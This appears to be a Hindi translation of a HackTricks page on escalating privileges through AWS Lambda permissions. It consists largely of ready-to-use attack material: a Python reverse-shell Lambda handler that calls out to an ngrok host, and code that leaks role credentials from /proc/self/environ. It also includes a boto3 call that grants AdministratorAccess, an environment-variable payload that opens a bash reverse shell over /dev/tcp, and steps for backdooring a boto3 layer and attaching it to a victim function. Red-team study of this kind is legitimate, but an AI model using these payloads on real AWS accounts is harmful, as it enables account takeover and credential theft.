AWS - Lambda Privesc

Reading time: 13 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

lambda

lambda के बारे में अधिक जानकारी:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

जिन उपयोगकर्ताओं के पास iam:PassRole, lambda:CreateFunction, और lambda:InvokeFunction अनुमतियाँ हैं, वे अपनी विशेषताओं को बढ़ा सकते हैं।
वे एक नया Lambda फ़ंक्शन बना सकते हैं और उसे एक मौजूदा IAM भूमिका सौंप सकते हैं, जिससे फ़ंक्शन को उस भूमिका से संबंधित अनुमतियाँ मिलती हैं। उपयोगकर्ता फिर इस Lambda फ़ंक्शन में कोड लिख और अपलोड कर सकता है (उदाहरण के लिए एक rev shell)
एक बार फ़ंक्शन सेटअप हो जाने के बाद, उपयोगकर्ता इसके निष्पादन को ट्रिगर कर सकता है और AWS API के माध्यम से Lambda फ़ंक्शन को कॉल करके इच्छित क्रियाएँ कर सकता है। यह दृष्टिकोण प्रभावी रूप से उपयोगकर्ता को Lambda फ़ंक्शन के माध्यम से अप्रत्यक्ष रूप से कार्य करने की अनुमति देता है, जो कि इससे संबंधित IAM भूमिका द्वारा दी गई पहुँच के स्तर के साथ कार्य करता है।\

एक हमलावर इसका दुरुपयोग करके rev shell प्राप्त कर सकता है और टोकन चुरा सकता है:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
bash
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

आप lambda भूमिका अनुमतियों का दुरुपयोग भी कर सकते हैं जो lambda फ़ंक्शन से ही हैं।
यदि lambda भूमिका में पर्याप्त अनुमतियाँ हैं, तो आप इसका उपयोग करके अपने लिए प्रशासनिक अधिकार प्रदान कर सकते हैं:

python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

यह भी संभव है कि बिना किसी बाहरी कनेक्शन की आवश्यकता के lambda के भूमिका क्रेडेंशियल्स लीक किए जाएं। यह Network isolated Lambdas के लिए उपयोगी होगा जो आंतरिक कार्यों पर उपयोग किए जाते हैं। यदि आपके रिवर्स शेल को फ़िल्टर करने वाले अज्ञात सुरक्षा समूह हैं, तो यह कोड का टुकड़ा आपको lambda के आउटपुट के रूप में सीधे क्रेडेंशियल्स लीक करने की अनुमति देगा।

python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

संभावित प्रभाव: निर्दिष्ट मनमाने लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क।

caution

ध्यान दें कि भले ही यह दिलचस्प लग सकता है lambda:InvokeAsync अपने आप में aws lambda invoke-async को निष्पादित करने की अनुमति नहीं देता, आपको lambda:InvokeFunction भी चाहिए।

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

पिछले परिदृश्य की तरह, यदि आपके पास अनुमति lambda:AddPermission है तो आप अपने लिए lambda:InvokeFunction अनुमति प्रदान कर सकते हैं।

bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

संभावित प्रभाव: निर्दिष्ट मनमाने लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क।

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

iam:PassRole, lambda:CreateFunction, और lambda:CreateEventSourceMapping अनुमतियों वाले उपयोगकर्ता (और संभावित रूप से dynamodb:PutItem और dynamodb:CreateTable) अप्रत्यक्ष रूप से अधिकार बढ़ा सकते हैं भले ही उनके पास lambda:InvokeFunction न हो।
वे दुष्ट कोड के साथ एक Lambda फ़ंक्शन बना सकते हैं और इसे एक मौजूदा IAM भूमिका सौंप सकते हैं

लैम्ब्डा को सीधे कॉल करने के बजाय, उपयोगकर्ता एक मौजूदा DynamoDB तालिका सेट करता है या उसका उपयोग करता है, जिसे एक इवेंट स्रोत मैपिंग के माध्यम से लैम्ब्डा से जोड़ा जाता है। यह सेटअप सुनिश्चित करता है कि लैम्ब्डा फ़ंक्शन तालिका में एक नए आइटम के प्रवेश पर स्वचालित रूप से ट्रिगर होता है, चाहे वह उपयोगकर्ता की क्रिया द्वारा हो या किसी अन्य प्रक्रिया द्वारा, इस प्रकार अप्रत्यक्ष रूप से लैम्ब्डा फ़ंक्शन को कॉल करना और पास की गई IAM भूमिका के अनुमतियों के साथ कोड को निष्पादित करना।

bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

यदि DynamoDB पहले से AWS वातावरण में सक्रिय है, तो उपयोगकर्ता को केवल Lambda फ़ंक्शन के लिए इवेंट स्रोत मैपिंग स्थापित करने की आवश्यकता है। हालाँकि, यदि DynamoDB का उपयोग नहीं किया जा रहा है, तो उपयोगकर्ता को स्ट्रीमिंग सक्षम के साथ एक नई तालिका बनानी होगी:

bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

अब यह संभव है Lambda फ़ंक्शन को DynamoDB तालिका से कनेक्ट करना एक इवेंट स्रोत मैपिंग बनाकर:

bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

DynamoDB स्ट्रीम से जुड़े Lambda फ़ंक्शन के साथ, हमलावर DynamoDB स्ट्रीम को सक्रिय करके Lambda को अप्रत्यक्ष रूप से ट्रिगर कर सकता है। यह DynamoDB तालिका में एक आइटम डालकर किया जा सकता है:

bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

संभावित प्रभाव: निर्दिष्ट लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क।

lambda:AddPermission

इस अनुमति के साथ एक हमलावर अपने लिए (या दूसरों के लिए) कोई भी अनुमति प्रदान कर सकता है (यह संसाधन आधारित नीतियों को उत्पन्न करता है ताकि संसाधन तक पहुंच प्रदान की जा सके):

bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

संभावित प्रभाव: कोड को संशोधित करने और उसे चलाने की अनुमति देकर लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क को सक्षम करना।

lambda:AddLayerVersionPermission

इस अनुमति के साथ एक हमलावर अपने लिए (या दूसरों के लिए) अनुमति lambda:GetLayerVersion प्रदान कर सकता है। वह लेयर तक पहुँच सकता है और कमजोरियों या संवेदनशील जानकारी की खोज कर सकता है।

bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

संभावित प्रभाव: संवेदनशील जानकारी तक संभावित पहुंच।

lambda:UpdateFunctionCode

lambda:UpdateFunctionCode अनुमति रखने वाले उपयोगकर्ताओं के पास IAM भूमिका से जुड़े एक मौजूदा Lambda फ़ंक्शन के कोड को संशोधित करने की क्षमता होती है।
हमलावर IAM क्रेडेंशियल्स को निकालने के लिए lambda के कोड को संशोधित कर सकता है।

हालांकि हमलावर के पास फ़ंक्शन को सीधे सक्रिय करने की क्षमता नहीं हो सकती है, यदि Lambda फ़ंक्शन पूर्व-निर्मित और कार्यात्मक है, तो यह संभावना है कि इसे मौजूदा कार्यप्रवाहों या घटनाओं के माध्यम से सक्रिय किया जाएगा, इस प्रकार अप्रत्यक्ष रूप से संशोधित कोड के निष्पादन की सुविधा प्रदान करेगा।

bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

संभावित प्रभाव: उपयोग की जाने वाली लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क।

lambda:UpdateFunctionConfiguration

env वेरिएबल्स के माध्यम से RCE

इन अनुमतियों के साथ, ऐसे पर्यावरण वेरिएबल्स जोड़ना संभव है जो लैम्ब्डा को मनमाने कोड को निष्पादित करने का कारण बनेंगे। उदाहरण के लिए, पायथन में, पर्यावरण वेरिएबल्स PYTHONWARNING और BROWSER का दुरुपयोग करके एक पायथन प्रक्रिया को मनमाने आदेश निष्पादित करने के लिए मजबूर किया जा सकता है:

bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

अन्य स्क्रिप्टिंग भाषाओं के लिए अन्य env वेरिएबल्स हैं जिनका आप उपयोग कर सकते हैं। अधिक जानकारी के लिए स्क्रिप्टिंग भाषाओं के उपखंडों की जांच करें:

macOS Process Abuse - HackTricks

Lambda Layers के माध्यम से RCE

Lambda Layers आपको अपने लम्ब्डा फ़ंक्शन में कोड शामिल करने की अनुमति देता है लेकिन इसे अलग से स्टोर करता है, ताकि फ़ंक्शन कोड छोटा रह सके और कई फ़ंक्शन कोड साझा कर सकें

लम्ब्डा के अंदर आप एक फ़ंक्शन की तरह निम्नलिखित का उपयोग करके देख सकते हैं कि पायथन कोड कहाँ से लोड हो रहा है:

python
import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

ये स्थान हैं:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

उदाहरण के लिए, पुस्तकालय boto3 /var/runtime/boto3 (4थी स्थिति) से लोड होता है।

शोषण

अनुमति lambda:UpdateFunctionConfiguration का दुरुपयोग करना संभव है एक नया लेयर जोड़ने के लिए एक lambda फ़ंक्शन में। मनमाने कोड को निष्पादित करने के लिए इस लेयर में कुछ पुस्तकालय होना चाहिए जिसे lambda आयात करने जा रहा है। यदि आप lambda का कोड पढ़ सकते हैं, तो आप इसे आसानी से ढूंढ सकते हैं, यह भी ध्यान दें कि यह संभव है कि lambda पहले से ही एक लेयर का उपयोग कर रहा है और आप लेयर डाउनलोड कर सकते हैं और वहाँ अपना कोड जोड़ सकते हैं।

उदाहरण के लिए, मान लीजिए कि lambda पुस्तकालय boto3 का उपयोग कर रहा है, यह पुस्तकालय के अंतिम संस्करण के साथ एक स्थानीय लेयर बनाएगा:

bash
pip3 install -t ./lambda_layer boto3

आप ./lambda_layer/boto3/__init__.py खोल सकते हैं और वैश्विक कोड में बैकडोर जोड़ सकते हैं (उदाहरण के लिए, क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए या एक रिवर्स शेल प्राप्त करने के लिए)।

फिर, उस ./lambda_layer निर्देशिका को ज़िप करें और नई लैम्ब्डा लेयर अपलोड करें अपने खाते में (या पीड़ित के खाते में, लेकिन आपके पास इसके लिए अनुमतियाँ नहीं हो सकती हैं)।
ध्यान दें कि आपको एक पायथन फ़ोल्डर बनाना होगा और वहां पुस्तकालयों को रखना होगा ताकि /opt/python/boto3 को ओवरराइड किया जा सके। इसके अलावा, लेयर को लैम्ब्डा द्वारा उपयोग किए जाने वाले पायथन संस्करण के साथ संगत होना चाहिए और यदि आप इसे अपने खाते में अपलोड करते हैं, तो यह समान क्षेत्र में होना चाहिए:

bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

अब अपलोड किया गया लैम्ब्डा लेयर किसी भी खाते द्वारा सुलभ बनाएं:

bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

और पीड़ित लैम्ब्डा फ़ंक्शन से लैम्ब्डा लेयर को संलग्न करें:

bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

अगला कदम होगा या तो फंक्शन को स्वयं कॉल करना यदि हम कर सकते हैं या सामान्य तरीकों से इसे कॉल होने का इंतजार करना - जो कि सुरक्षित तरीका है।

इस कमजोरियों का शोषण करने का एक अधिक छिपा हुआ तरीका यहाँ पाया जा सकता है:

AWS - Lambda Layers Persistence

संभावित प्रभाव: उपयोग की जाने वाली लैम्ब्डा सेवा भूमिका के लिए सीधे प्रिवेस्क।

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

शायद इन अनुमतियों के साथ आप एक फंक्शन बना सकते हैं और इसे URL को कॉल करके निष्पादित कर सकते हैं... लेकिन मैं इसे परीक्षण करने का कोई तरीका नहीं ढूंढ सका, तो मुझे बताएं यदि आप करते हैं!

लैम्ब्डा MitM

कुछ लैम्ब्डा उपयोगकर्ताओं से संवेदनशील जानकारी प्राप्त करने जा रहे हैं। यदि इनमें से एक में RCE प्राप्त होता है, तो आप अन्य उपयोगकर्ताओं द्वारा भेजी जा रही जानकारी को एक्सफिल्ट्रेट कर सकते हैं, इसे यहाँ देखें:

AWS - Steal Lambda Requests

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें